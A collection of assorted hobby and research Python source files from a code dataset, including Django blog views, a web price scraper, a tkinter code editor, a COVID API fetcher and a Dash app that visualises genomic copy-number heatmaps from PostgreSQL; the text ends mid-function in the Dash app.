50')\nplt.yscale('log')\nplt.xlabel('EbN0')\nplt.ylabel('BER')\n\n#b1 = plt.axvline(x=shannon_limit_EbN0, label = 'Shannon Limit')\nh1, = plt.plot(turbo_Ebno, turbo_ber, 'b-',linewidth=3, label = 'Turbo Code')\n#h2, = plt.plot(t6_Ebno, turbo757_bl1000_i6_ber, 'g-',linewidth=2, label = 'Turbo Code: block length 1000')\n\nh3, = plt.plot(best_deepcode_Ebno, best_deepcode_ber,'k-x', linewidth=3, label = 'DeepCode')\n\np1, = plt.plot(uncoded_rate2_Ebno, uncoded_rate2_ber,'g->', linewidth=3, label = 'Uncoded')\n\np2, = plt.plot(conv_ble_rate2_Ebno, conv_ble_rate2_ber,'r-<', linewidth=3, label = 'Conv Code: BT5 S=2')\n\np3, = plt.plot(conv_ble_rate8_Ebno, conv_ble_rate8_ber,'c-o', linewidth=3, label = 'Conv Code: BT5 S=8')\n\n#plt.xlim([])\n\n\nplt.legend(handles = [p1,p2,p3, h1, h3])\nplt.grid()\n\nplt.show()\n\n\n\n\n","repo_name":"yihanjiang/turboae","sub_path":"results/fbresults.py","file_name":"fbresults.py","file_ext":"py","file_size_in_byte":3658,"program_lang":"python","lang":"en","doc_type":"code","stars":76,"dataset":"github-code","pt":"67"} +{"seq_id":"71756660055","text":"from typing import NewType\n\nfrom django.contrib import messages\nfrom django.core.mail import send_mail\nfrom django.core.paginator import EmptyPage, PageNotAnInteger, Paginator\nfrom django.http import HttpRequest, HttpResponse\nfrom django.shortcuts import get_object_or_404, redirect, render\nfrom django.urls.base import reverse\n\nfrom taggit.models import Tag\n\nfrom blog.forms import CommentForm, EmailPostForm\nfrom blog.models import Comment, Post\n\nSlugType = NewType(\"SlugType\", str)\n\n\ndef post_list(request: HttpRequest , tag_slug = None) -> HttpResponse:\n objects = Post.published_manager.all()\n tag = None\n if tag_slug:\n tag = get_object_or_404(Tag , slug=tag_slug)\n objects = objects.filter(tags__in=[tag])\n paginator = Paginator(object_list=objects, per_page=1)\n page_number = request.GET.get(\"page\")\n try:\n posts = paginator.page(page_number)\n print(posts)\n except PageNotAnInteger:\n posts = paginator.page(1)\n except EmptyPage:\n posts = paginator.page(paginator.num_pages)\n \n \n return render(\n request=request,\n template_name=\"blog/post/list.html\",\n context={\"posts\": posts , 'tag':tag},\n )\n\n\ndef post_detail(request: HttpRequest, year: int, month: int, day: int, post: SlugType):\n post = get_object_or_404(\n Post,\n slug=post,\n status=\"published\",\n publish__year=year,\n publish__month=month,\n publish__day=day,\n )\n comments = post.comments.filter(active=True)\n if request.method == \"POST\":\n comments_form = CommentForm(data=request.POST)\n if comments_form.is_valid():\n new_comment = comments_form.save(commit=False)\n new_comment.post = post\n new_comment.save()\n messages.success(request, message=\"Your Comment Add!\")\n return redirect(post)\n else:\n comments_form = CommentForm()\n return render(\n request,\n \"blog/post/detail.html\",\n {\n \"post\": post,\n \"comments\": comments,\n \"comment_form\": comments_form,\n },\n )\n\n\ndef post_share(request: HttpRequest, post_id: int):\n post = get_object_or_404(Post, pk=post_id, status=\"published\")\n\n if request.method == \"POST\":\n form = EmailPostForm(data=request.POST)\n if form.is_valid():\n clean_data = form.cleaned_data\n post_url = request.build_absolute_uri(post.get_absolute_url())\n subject = f\"{clean_data['name']} recommends you read {post.title}\"\n message = f\"\"\"\n Read {post.title} at { post_url }\\n\\n{clean_data['name']}'s comments: {clean_data['comments']}\n \"\"\"\n send_mail(\n subject=subject,\n message=message,\n from_email=clean_data[\"email\"],\n recipient_list=[clean_data[\"to\"]],\n )\n success_message = f\"post : {post.title} send from {clean_data['email']} to {clean_data['to']}\"\n messages.success(request, message=success_message)\n return redirect(\n reverse(\n \"blog:post_detail\",\n kwargs={\n \"year\": post.publish.year,\n \"month\": post.publish.month,\n \"day\": post.publish.day,\n \"post\": post.slug,\n },\n )\n )\n else:\n print(form.errors)\n else:\n form = EmailPostForm()\n\n return render(\n request,\n \"blog/post/share.html\",\n {\n \"post\": post,\n \"form\": form,\n },\n )\n","repo_name":"imanhpr/simple_django_blog","sub_path":"blog/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3675,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"21514344692","text":"import requests\nfrom bs4 import BeautifulSoup\nimport re\nheaders = {\n 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36'}\nurl4 = 'http://redberet.pl/p/159/1152301993/cyma-replika-cm125-tan-pistolety-elektryczne-repliki-asg-airsoft-guns.html'\npage4 = requests.get(url4, headers=headers)\nsoup4 = BeautifulSoup(page4.content, 'html.parser')\nprice4_1 = soup4.find(class_=\"price_1\").get_text().replace(\",\", \".\")\nprice4_2 = soup4.find(class_=\"price_2\").get_text()\nprice4_convert = float(price4_1 + price4_2)\nprice4_convert = \"{:3.2f}\".format(price4_convert)\nprint(price4_convert)\n","repo_name":"mikozdu451/python_fun","sub_path":"price/testgf/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":657,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"35155159776","text":"from tkinter import *\r\nfrom tkinter.filedialog import asksaveasfilename ,askopenfilename\r\nimport pyttsx3\r\nimport subprocess \r\n\r\nengine=pyttsx3.init() \r\nvoices=engine.getProperty('voices') \r\nengine.setProperty('voice', voices[1].id)\r\n\r\ndef talk(text): \r\n engine.say(text) \r\n engine.runAndWait()\r\n\r\ncompiler=Tk() \r\ncompiler.title(\"Shreyank's Code Editor\")\r\ntalk(\"Opening the shreyank's Code Editor\")\r\n\r\nfile_path=''\r\n\r\ndef set_file_path(path): \r\n global file_path \r\n file_path=path \r\n \r\ndef open_file():\r\n path=askopenfilename(filetypes=[('python files','*.py')]) \r\n with open (path,'r')as file : \r\n code=file.read() \r\n editor.delete('1.0',END)\r\n editor.insert('1.0',code) \r\n set_file_path(path)\r\n \r\ndef saveas():\r\n if file_path == '':\r\n path=asksaveasfilename(filetypes=[('python files','*.py')]) \r\n else : \r\n path=file_path\r\n with open (path,'w')as file : \r\n code=editor.get('1.0',END) \r\n file.write(code)\r\n set_file_path(path)\r\n \r\ndef run():\r\n command=f'python {file_path} '\r\n process=subprocess.Popen(command,stdout=subprocess.PIPE,\r\n stderr=subprocess.PIPE ,\r\n shell=True)\r\n output , error = process.communicate() \r\n code_output.insert('1.0',output)\r\n code_output.insert('1.0',error)\r\n \r\n \r\ndef for_loop(): \r\n editor.insert(\" for i in range () \")\r\n \r\n\r\n \r\nmenu_button=Menu(compiler) \r\n \r\nfile_menu=Menu(menu_button,tearoff=0) \r\nfile_menu.add_command(label=\"Open\",command=open_file) \r\nfile_menu.add_command(label=\"Save\",command=saveas) \r\nfile_menu.add_command(label=\"Save As\",command=saveas) \r\nfile_menu.add_command(label=\"Exit\",command=exit) \r\nmenu_button.add_cascade(label=\"FILE\",menu=file_menu)\r\n\r\nrun_button=Menu(menu_button,tearoff=0) \r\nrun_button.add_command(label=\"OH YEAH\",command=run) \r\nmenu_button.add_cascade(label=\"RUN\",menu=run_button) \r\n\r\nsnippet=Menu(menu_button,tearoff=0) \r\nsnippet.add_command(label=\"class\",command=run) \r\nmenu_button.add_cascade(label=\"while loop\",command=run)\r\nsnippet.add_command(label=\"for loop\",command=for_loop) \r\nmenu_button.add_cascade(label=\"snipet\",menu=snippet) \r\n\r\ncompiler.config(menu=menu_button) \r\n\r\neditor=Text(bg=\"pink\",foreground=\"black\",border=10,width=500,height=20,font=(5)) \r\neditor.pack()\r\n\r\ncode_output=Text(bg=\"black\",foreground=\"white\",border=10,height=25,width=500,font=5) \r\ncode_output.pack()\r\n\r\n\r\ncompiler.mainloop()\r\n\r\n","repo_name":"Shreyank108/PyCodeEditor-","sub_path":"MY_iDE.py","file_name":"MY_iDE.py","file_ext":"py","file_size_in_byte":2479,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"25506998639","text":"quadradros= []\nfor x in range(10):\n quadradros.append(x**2)\n\nquadradro = list(map(lambda y: y**2,range(10)))\n\nqua = [z**2 for z in range(10)]\n\nprint(quadradros)\nprint(quadradro)\nprint(qua)\n","repo_name":"21seya/ExerciciosBasicoPython","sub_path":"aula27.py","file_name":"aula27.py","file_ext":"py","file_size_in_byte":192,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"21380161965","text":"import pandas as pd\nimport requests\nimport json\nimport re\n\ndef get_covid_data(data_type='cases', loc='', date=''):\n\n \"\"\"Acquires Canada Covid Data of specified type\n and for an optionally provided date\n \n Parameters\n ----------\n data_type : str, default='cases'\n Type of data to be returned\n loc : str, optional\n Location (province) filter to search\n If none provided, will search all provinces in Canada\n date : str, optional\n Date to search, specified as 'DD-MM-YYYY'\n By default will return data for all available dates\n\n Examples\n --------\n >>> get_covid_data('cases', 'BC', '13-01-2021')\n >>> get_covid_data()\n \"\"\"\n\n stat_types = ['cases', 'mortality', 'recovered', 'testing', 'active',\n 'dvaccine', 'avaccine', 'cvaccine']\n\n provinces = ['AB', 'BC', 'MB', 'NB', 'NL', 'NT', 'NS', 'NU', 'ON', 'PE', 'QC', 'SK', 'YT', 'RP', '']\n\n if data_type not in stat_types:\n raise ValueError(\"Stat type must be within pre-defined options.\\n Choose from: ['cases', 'mortality', 'recovered', 'testing', 'active', 'dvaccine', 'avaccine', 'cvaccine']\")\n\n if loc not in provinces: \n raise ValueError(\"Provines must be within pre-defined options or left empty.\\n Choose from: ['AB', 'BC', 'MB', 'NB', 'NL', 'NT', 'NS', 'NU', 'ON', 'PE', 'QC', 'SK', 'YT', 'RP', '']\")\n\n pattern = r'(0[1-9]|[12][0-9]|3[01])-(0[1-9]|1[0-2])-\\d{4}|$^'\n\n if not re.match(pattern, date):\n raise ValueError(\"Input date must follow DD-MM-YYY format\")\n\n params = {\n 'stat': data_type,\n 'loc': loc,\n 'date': date\n }\n\n res = requests.get('https://api.opencovid.ca/timeseries',\n params=params)\n data = json.loads(res.text)\n\n return pd.DataFrame(data[data_type])","repo_name":"UBC-MDS/Group28-CovidTracker","sub_path":"src/covidtracker/get_covid_data.py","file_name":"get_covid_data.py","file_ext":"py","file_size_in_byte":1809,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"34746121061","text":"import dash\r\nfrom dash import dcc, html, ctx\r\nfrom dash.dependencies import Input, Output, State\r\nimport psycopg2\r\nimport pandas as pd\r\nimport plotly.graph_objects as go\r\nimport plotly.figure_factory as ff\r\nimport itertools\r\nfrom sqlalchemy import create_engine, text\r\nimport numpy as np \r\nimport base64\r\nimport io\r\nimport seaborn as sns\r\nimport plotly.colors as colors\r\nimport plotly.express as px\r\nfrom plotly.subplots import make_subplots\r\nimport postgres_upload\r\nimport webbrowser\r\n\r\nexternal_stylesheets = ['https://codepen.io/chriddyp/pen/bWLwgP.css'] # just styling\r\n\r\napp = dash.Dash(__name__, external_stylesheets=external_stylesheets) # app\r\n\r\napp.title = \"Abacus Visualizer\"\r\n\r\nchromosomes_names = ['1', '2', '3', '4', '5', '6', '7', '8', '9', '10', '11', '12', '13', '14', '15', '16', '17', '18', '19', '20', '21', '22', 'X', 'Y']\r\nchromosome_sizes = [249250621, 243199373, 198022430, 191154276, 180915260, 171115067, 159138663, 146364022, 141213431, 135534747, 135006516, 133851895, 115169878, 107349540, 102531392, 90354753, 81195210, 78077248, 59128983, 63025520, 48129895, 51304566, 155270560, 59373566]\r\n\r\n\r\n# Calculate cumulative sizes\r\ncumulative_sizes = [0] + list(itertools.accumulate(chromosome_sizes)) \r\n\r\n\r\n\r\n\r\ndef get_red_palette(num_colours):\r\n '''Get the specified number of red colours in hex format.'''\r\n reds = []\r\n\r\n red_shades = sns.color_palette('Reds', num_colours)\r\n\r\n for red_shade in red_shades:\r\n rgb = tuple([int(x * 255) for x in red_shade])\r\n reds.append('#%02x%02x%02x' % rgb)\r\n\r\n return reds\r\n\r\ndef get_copy_number_palette(num_states):\r\n '''Get a copy number colour palette for the specified number of states.'''\r\n blues = ['#3498db', '#85c1e9']\r\n grey = ['#d3d3d3']\r\n purples = ['#780428', '#530031', '#40092e', '#2d112b']\r\n segment_colours = blues + grey\r\n\r\n if num_states <= 11:\r\n reds = get_red_palette(num_states - 3)\r\n segment_colours.extend(reds)\r\n else:\r\n reds = get_red_palette(num_states - 7)\r\n segment_colours.extend(reds)\r\n segment_colours.extend(purples)\r\n\r\n return segment_colours\r\n\r\ndef discrete_colorscale(bvals, colors):\r\n \"\"\"\r\n bvals - list of values bounding intervals/ranges of interest\r\n colors - list of rgb or hex colorcodes for values in [bvals[k], bvals[k+1]],0<=k < len(bvals)-1\r\n returns the plotly discrete colorscale\r\n \"\"\"\r\n if len(bvals) != len(colors)+1:\r\n raise ValueError('len(boundary values) should be equal to len(colors)+1')\r\n bvals = sorted(bvals) \r\n nvals = [(v-bvals[0])/(bvals[-1]-bvals[0]) for v in bvals] #normalized values\r\n \r\n dcolorscale = [] # discrete colorscale\r\n for k in range(len(colors)):\r\n dcolorscale.extend([[nvals[k], colors[k]], [nvals[k+1], colors[k]]])\r\n return dcolorscale \r\n\r\n\r\n\r\n# def main():\r\nengine = None\r\ndf = None\r\nheatmap_df = None\r\nx_mapping = None\r\nheatmap_fig = go.Figure()\r\n\r\npostgres_upload.run_upload()\r\n# root.mainloop() # This will start the Tkinter GUI main loop\r\n# Run Dash app in the main thread\r\ndatabase, user, password, host, port = postgres_upload.get_connection_details()\r\nprint(\"PORT:\", port)\r\nprint(\"user:\", user)\r\nprint(\"password:\", password)\r\nprint(\"host:\", host)\r\nprint(\"database:\", database)\r\nengine = create_engine(f'postgresql://{user}:{password}@{host}:{port}/{database}')\r\n\r\n# engine = create_engine('postgresql://postgres:password@gphost08:5432/postgres')\r\n\r\n# Fetch data from the database\r\nquery = \"SELECT id, cell_id, chrom, start, end_pos, two, total, copy_number, modal_corrected, assignment FROM details ORDER BY id\"\r\n\r\ndf = pd.read_sql(query, engine)\r\nheatmap_df = df\r\n\r\nx_mapping = [start + cumulative_sizes[chromosomes_names.index(chrom)] for start, end_pos, chrom in zip(df['start'], df['end_pos'], df['chrom'])]\r\n\r\nbvals = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15]\r\ncolor_schemes = ['#3498db', '#85c1e9', '#d3d3d3', '#fee2d5', '#fcc3ac', '#fc9f81', '#fb7c5c', '#f5543c', '#e32f27', '#c1151b', '#9d0d14', '#780428', '#530031', '#40092e', '#2d112b']\r\n\r\n# colorscale = [[0, '#3498db'], [1, '#85c1e9'], [2, '#d3d3d3'], [3, '#fee2d5'], [4, '#fcc3ac'], [5, '#fc9f81'], [6, '#fb7c5c'], [7, '#f5543c'], [8, '#e32f27'], [9, '#c1151b'], [10, '#9d0d14'], [11, '#780428'], [12, '#530031'], [13, '#40092e'], [14, '#2d112b']]\r\n# colorscale = colors.make_colorscale(['#3498db', '#85c1e9', '#d3d3d3', '#fee2d5', '#fcc3ac', '#fc9f81', '#fb7c5c', '#f5543c', '#e32f27', '#c1151b', '#9d0d14', '#780428', '#530031', '#40092e', '#2d112b'])\r\ncolorscale = discrete_colorscale(bvals, color_schemes)\r\n\r\nbvals = np.array(bvals)\r\ntickvals = [str(i) for i in range(15)] #position with respect to bvals where ticktext is displayed\r\nticktext = [f'<{bvals[1]}'] + [f'{bvals[k]}-{bvals[k+1]}' for k in range(1, len(bvals)-2)]+[f'>{bvals[-2]}']\r\n\r\n\r\n# print(x_mapping)\r\nheatmap_fig = go.Figure(data=go.Heatmap(\r\n z=df['copy_number'],\r\n x=x_mapping,\r\n y=df['cell_id'],\r\n colorscale=colorscale,\r\n zmin=0, # Set the minimum value for the colorbar scale\r\n zmax=14, # Set the maximum value for the colorbar scale\r\n colorbar=dict(title=\"Copy Number\"),\r\n))\r\nheatmap_fig.update_yaxes(title_text=\"Cell ID\")\r\n\r\nheatmap_fig.update_layout(\r\n title='Heatmap',\r\n xaxis=dict(\r\n title='Chromosome',\r\n tickvals=cumulative_sizes,\r\n ticktext=chromosomes_names + [''],\r\n tickmode='array',\r\n ticklabelmode='period',\r\n ticklabelposition='outside',\r\n tickformat='d',\r\n range=[0, cumulative_sizes[-1] + chromosome_sizes[-1]], \r\n )\r\n)\r\n\r\n\r\nx_options = df.columns\r\ny_options = df.columns\r\nz_options = df.columns\r\ncell_id_options = df['cell_id'].unique().tolist()\r\n\r\n# Create the Dash layout\r\napp.layout = html.Div(\r\n [\r\n # dcc.Loading(\r\n # id=\"loading-component\",\r\n # type=\"circle\", # You can also use \"circle\" or \"dot\"\r\n # children=[\r\n html.H1(\"Abacus Visualizer\", style={\"background-color\": \"#fb7c5c\", \"color\": \"white\", \"padding\": \"13px\"}),\r\n \r\n dcc.Loading(\r\n id=\"loading-component\",\r\n type=\"circle\", # You can also use \"circle\" or \"dot\"\r\n children=[dcc.Graph(\r\n id='heatmap',\r\n figure=heatmap_fig,\r\n style={'overflow': 'scroll', 'height': '900px'}\r\n )]),\r\n dcc.Store(id='heatmap-state'),\r\n\r\n html.Div(id='info-block', children=[], style={'width': '97%', 'text-align': 'right', 'font-size': '15px'}),\r\n html.Div([\r\n html.Div([\r\n html.Label(['Metadata:'], style={'font-weight': 'bold', \"text-align\": \"left\"}),\r\n dcc.Upload(\r\n id='upload-metadata',\r\n children=html.Button('Upload CSV File')\r\n ),\r\n html.Div(id='output-message'),\r\n html.Div(id='intermediate-data', style={'display': 'none'}),\r\n ], style={'width': '13%', 'display': 'inline-block', 'vertical-align': 'top'}),\r\n html.Div([\r\n html.Label(['Parameter:'], style={'font-weight': 'bold', \"text-align\": \"left\"}),\r\n dcc.Dropdown(\r\n id='column-dropdown',\r\n options=[{'label': x, 'value': x} for x in x_options],\r\n value=None,\r\n placeholder='Select a value'\r\n ),\r\n ], style={'width': '13%', 'display': 'inline-block', 'vertical-align': 'top'}),\r\n html.Div([\r\n html.Label(['filter by:'], style={'font-weight': 'bold', \"text-align\": \"left\"}),\r\n dcc.Dropdown(\r\n id='fil-cond-dropdown-metadata',\r\n options=[\r\n {'label': '>', 'value': '>'},\r\n {'label': '=', 'value': '='},\r\n {'label': '<', 'value': '<'}\r\n ],\r\n style={'width': '100%'},\r\n ),\r\n ], style={'width': '13%', 'display': 'inline-block', 'vertical-align': 'top'}),\r\n html.Div([\r\n html.Label(['filter by:'], style={'font-weight': 'bold', \"text-align\": \"left\"}),\r\n dcc.Dropdown(\r\n id='value-dropdown',\r\n options=[],\r\n value=None,\r\n placeholder='Select a value'\r\n ),\r\n ], style={'width': '13%', 'display': 'inline-block', 'vertical-align': 'top'}),\r\n ]),\r\n\r\n html.Div([\r\n html.Button('reset', id='reset-button', n_clicks=0),\r\n html.Button('apply', id='apply-button', n_clicks=0),\r\n ], style={'display': 'inline-block', 'justify-content': 'center', 'margin-top': '10px'}),\r\n html.Div([\r\n dcc.Graph(id='scatter', style={'width': '60%'}),\r\n dcc.Graph(id='multiplicity', style={'width': '40%'})\r\n ], style={'display': 'flex', 'width': '100%'}),\r\n html.Div([\r\n html.Div([\r\n html.Label(['Cell ID:'], style={'font-weight': 'bold', \"text-align\": \"left\"}),\r\n dcc.Dropdown(\r\n id='cell-id-dropdown',\r\n options=[{'label': cell_id, 'value': cell_id} for cell_id in cell_id_options],\r\n style={'width': '100%'},\r\n value=df['cell_id'][0]\r\n ),\r\n ], style={'width': '13%', 'display': 'inline-block', 'vertical-align': 'top'}),\r\n html.Div([\r\n html.Label(['Parameter:'], style={'font-weight': 'bold', \"text-align\": \"left\"}),\r\n dcc.Dropdown(\r\n id='x-axis-dropdown-scatter',\r\n options=[{'label': x, 'value': x} for x in x_options],\r\n style={'width': '100%'},\r\n ),\r\n ], style={'width': '13%', 'display': 'inline-block', 'vertical-align': 'top'}),\r\n html.Div([\r\n html.Label(['filter by:'], style={'font-weight': 'bold', \"text-align\": \"left\"}),\r\n dcc.Dropdown(\r\n id='fil-cond-dropdown-scatter',\r\n options=[\r\n {'label': '>', 'value': '>'},\r\n {'label': '=', 'value': '='},\r\n {'label': '<', 'value': '<'}\r\n ],\r\n style={'width': '100%'},\r\n ),\r\n ], style={'width': '3%', 'display': 'inline-block', 'vertical-align': 'top'}),\r\n html.Div([\r\n html.Label(['value:'], style={'font-weight': 'bold', \"text-align\": \"left\"}),\r\n dcc.Input(id='input-val-scatter', type='number', min=0, value=0)\r\n ], style={'width': '10%', 'display': 'inline-block', 'vertical-align': 'top'}), \r\n ]),\r\n html.Div([ \r\n # html.Label(['gpfit data:'], style={'font-weight': 'bold', \"text-align\": \"left\"}), \r\n # dcc.Upload(\r\n # id='upload-data',\r\n # children=html.Button('Upload CSV File')\r\n # ),\r\n html.Div(id='output-message'),\r\n html.Button('apply', id='apply-button-scatter', n_clicks=0, style={'width': '105px'}),\r\n ], style={'margin-top': '10px', 'display': 'flex', 'flex-direction': 'row', 'align-items': 'center'})\r\n # ])\r\n ], style={'display': 'flex', 'flex-direction': 'column', 'width': '100%'})\r\n\r\n\r\n \r\nprint('done')\r\n\r\n\r\ndef get_coverage_order(df_group):\r\n '''Get the order of magnitude of the coverage depth for the panel.'''\r\n group_order = 1\r\n\r\n if len(df_group) > 0:\r\n if df_group['two'].max() > 0:\r\n group_order = int(np.log10(df_group['two'].max()))\r\n\r\n return group_order \r\n\r\n@app.callback(\r\n Output('intermediate-data', 'children'),\r\n Output('column-dropdown', 'options'),\r\n Input('upload-metadata', 'contents'),\r\n State('upload-metadata', 'filename'),\r\n prevent_initial_call=True\r\n)\r\ndef update_dropdown(contents, filename):\r\n if contents is None:\r\n raise dash.exceptions.PreventUpdate\r\n\r\n # Read the uploaded file into a DataFrame\r\n content_type, content_string = contents.split(',')\r\n decoded = base64.b64decode(content_string)\r\n df_meta = pd.read_csv(io.StringIO(decoded.decode('utf-8')))\r\n\r\n # Update options for column-dropdown based on DataFrame columns\r\n\r\n column_options = [{'label': col, 'value': col} for col in (df_meta.columns.union(x_options))]\r\n\r\n return df_meta.to_json(date_format='iso', orient='split'), column_options\r\n\r\n# what is this function even doing ?? need to figure this out before moving forward with metadata filtering\r\n@app.callback(\r\n Output('value-dropdown', 'options'),\r\n Input('column-dropdown', 'value'),\r\n State('intermediate-data', 'children'),\r\n prevent_initial_call=True\r\n)\r\ndef update_value_dropdown(selected_column, jsonified_df):\r\n if selected_column is None:\r\n raise dash.exceptions.PreventUpdate\r\n \r\n if jsonified_df is None:\r\n return [{'label': str(val), 'value': val} for val in df[selected_column].unique()]\r\n\r\n # Read the DataFrame from the intermediate data\r\n df_meta = pd.read_json(jsonified_df, orient='split')\r\n\r\n if selected_column in df_meta.columns:\r\n # Get unique values for the selected column\r\n unique_values = df_meta[selected_column].unique() \r\n else:\r\n unique_values = df[selected_column].unique()\r\n\r\n # Update options for value-dropdown based on unique values\r\n value_options = [{'label': str(val), 'value': val} for val in unique_values]\r\n\r\n return value_options\r\n\r\n\r\n@app.callback(\r\n [Output('heatmap', 'figure'),\r\n Output('apply-button', 'n_clicks'),\r\n Output('reset-button', 'n_clicks'),\r\n Output('heatmap-state', 'data')],\r\n [Input('apply-button', 'n_clicks'),\r\n Input('reset-button', 'n_clicks'),\r\n Input('upload-metadata', 'contents')],\r\n [State('column-dropdown', 'value'),\r\n State('fil-cond-dropdown-metadata', 'value'),\r\n State('value-dropdown', 'value'),\r\n State('intermediate-data', 'children')]\r\n)\r\ndef update_heatmap(n_clicks_apply, n_clicks_reset, uploaded_metadata, x_axis_val, cond_type, input_val, intermediate_data):\r\n\r\n curr_heatmap_fig = go.Figure()\r\n heatmap_state = None\r\n\r\n if 'apply-button' == ctx.triggered_id:\r\n # # Map the dropdown value to the corresponding conditional operator\r\n # # Get the selected conditional operator from the dropdown value\r\n # conditional_operator = conditional_operators[cond_type]\r\n\r\n df = None\r\n # Construct the SQL statement dynamically\r\n if intermediate_data is None or x_axis_val in x_options:\r\n sql_query = f\"SELECT id, cell_id, chrom, start, end_pos, copy_number, modal_corrected, assignment FROM details WHERE {x_axis_val} {cond_type} {input_val} ORDER BY id\"\r\n df = pd.read_sql(sql_query, engine)\r\n else:\r\n content_type, content_string = uploaded_metadata.split(',')\r\n decoded = base64.b64decode(content_string)\r\n \r\n # Read the file using pandas\r\n metadata_df = pd.read_csv(io.StringIO(decoded.decode('utf-8')))\r\n\r\n # Apply the selected filter to the metadata dataset\r\n filtered_data = metadata_df\r\n condition = None\r\n\r\n if cond_type == '=':\r\n cond_type = '=='\r\n\r\n if isinstance(input_val, (int, float)):\r\n condition = f\"{x_axis_val} {cond_type} {input_val}\"\r\n else:\r\n condition = f\"{x_axis_val} {cond_type} '{input_val}'\"\r\n print(condition)\r\n filtered_data = filtered_data.query(condition)\r\n\r\n metadata_df_sel_cell_ids = filtered_data['cell_id'].unique()\r\n metadata_df_sel_cell_ids = metadata_df_sel_cell_ids.tolist()\r\n\r\n # Define the SQL query with an \"IN\" clause and parameter placeholders\r\n sql_query = text(\"SELECT id, cell_id, chrom, start, end_pos, copy_number, modal_corrected, assignment FROM details WHERE cell_id IN :param1 ORDER BY id\")\r\n\r\n # Bind the parameter using bindparams\r\n sql_query = sql_query.bindparams(param1=tuple(metadata_df_sel_cell_ids))\r\n\r\n df = pd.read_sql(sql_query, engine) \r\n \r\n\r\n dd_heatmap_fig = go.Figure(data=go.Heatmap(\r\n z=df['copy_number'],\r\n x=x_mapping,\r\n y=df['cell_id'],\r\n colorscale=colorscale,\r\n zmin=0, # Set the minimum value for the colorbar scale\r\n zmax=14, # Set the maximum value for the colorbar scale\r\n colorbar=dict(title=\"Copy Number\"),\r\n ))\r\n dd_heatmap_fig.update_yaxes(title_text=\"Cell ID\")\r\n\r\n dd_heatmap_fig.update_layout(\r\n title='Heatmap',\r\n xaxis=dict(\r\n title='Chromosome',\r\n tickvals=cumulative_sizes,\r\n ticktext=chromosomes_names + [''],\r\n tickmode='array',\r\n ticklabelmode='period',\r\n ticklabelposition='outside',\r\n tickformat='d',\r\n range=[0, cumulative_sizes[-1] + chromosome_sizes[-1]], \r\n )\r\n )\r\n\r\n curr_heatmap_fig = dd_heatmap_fig\r\n heatmap_state = dd_heatmap_fig\r\n n_clicks_apply = 0\r\n\r\n elif \"reset-button\" == ctx.triggered_id:\r\n curr_heatmap_fig = heatmap_fig\r\n n_clicks_reset = 0\r\n else:\r\n curr_heatmap_fig = heatmap_fig\r\n\r\n return curr_heatmap_fig, n_clicks_apply, n_clicks_reset, heatmap_state\r\n\r\n@app.callback(\r\n Output('info-block', 'children'),\r\n [Input('heatmap', 'clickData'),\r\n Input('heatmap-state', 'data')]\r\n)\r\ndef update_info_block(clickData, heatmap_state):\r\n if clickData is not None and heatmap_state is None:\r\n point_data = clickData['points'][0]\r\n chromosome = get_chrom_from_x_val(point_data['x'])\r\n cell_id = point_data['y']\r\n copy_number = point_data['z']\r\n\r\n # Construct the text content for the info block\r\n text_content = f'''\r\n **Chromosome:** {chromosome} \\t\r\n **Cell ID:** {cell_id} \\t\r\n **Copy Number:** {copy_number}\r\n '''\r\n return dcc.Markdown(text_content)\r\n else:\r\n text_content = f'''\r\n **Chromosome:** \\t\r\n **Cell ID:** \\t\r\n **Copy Number:** \r\n '''\r\n return text_content\r\n\r\ndef get_chrom_from_x_val(val):\r\n # [0, 249250621, 492449994, 690472424, 881626700, 1062541960, 1233657027, 1392795690, 1539159712, 1680373143, 1815907890, 1950914406, 2084766301, 2199936179, 2307285719, \r\n # 2409817111, 2500171864, 2581367074, 2659444322, 2718573305, 2781598825, 2829728720, 2881033286, 3036303846, 3095677412]\r\n if 0 <= val <= 249250621:\r\n return '1'\r\n elif 249250621 < val <= 492449994:\r\n return '2'\r\n elif 492449994 < val <= 690472424:\r\n return '3'\r\n elif 690472424 < val <= 881626700:\r\n return '4'\r\n elif 881626700 < val <= 1062541960:\r\n return '5'\r\n elif 1062541960 < val <= 1233657027:\r\n return '6'\r\n elif 1233657027 < val <= 1392795690:\r\n return '7'\r\n elif 1392795690 < val <= 1539159712:\r\n return '8'\r\n elif 1539159712 < val <= 1680373143:\r\n return '9'\r\n elif 1680373143 < val <= 1815907890:\r\n return '10'\r\n elif 1815907890 < val <= 1950914406:\r\n return '11'\r\n elif 1950914406 < val <= 2084766301:\r\n return '12'\r\n elif 2084766301 < val <= 2199936179:\r\n return '13'\r\n elif 2199936179 < val <= 2307285719:\r\n return '14'\r\n elif 2307285719 < val <= 2409817111:\r\n return '15'\r\n elif 2409817111 < val <= 2500171864:\r\n return '16'\r\n elif 2500171864 < val <= 2581367074:\r\n return '17'\r\n elif 2581367074 < val <= 2659444322:\r\n return '18'\r\n elif 2659444322 < val <= 2718573305:\r\n return '19'\r\n elif 2718573305 < val <= 2781598825:\r\n return '20'\r\n elif 2781598825 < val <= 2829728720:\r\n return '21'\r\n elif 2829728720 < val <= 2881033286:\r\n return '22'\r\n elif 2881033286 < val <= 3036303846:\r\n return 'X'\r\n elif 3036303846 < val <= 3095677412:\r\n return 'Y'\r\n\r\n# Define the callback to show the scatter plot on hover\r\n@app.callback(\r\n [Output('scatter', 'figure'),\r\n Output('apply-button-scatter', 'n_clicks')],\r\n [Input('heatmap', 'clickData'),\r\n Input('heatmap-state', 'data'),\r\n Input('apply-button-scatter', 'n_clicks')],\r\n [State('cell-id-dropdown', 'value'),\r\n State('x-axis-dropdown-scatter', 'value'),\r\n State('fil-cond-dropdown-scatter', 'value'),\r\n State('input-val-scatter', 'value')]\r\n)\r\ndef show_scatter(clickData, heatmap_state, 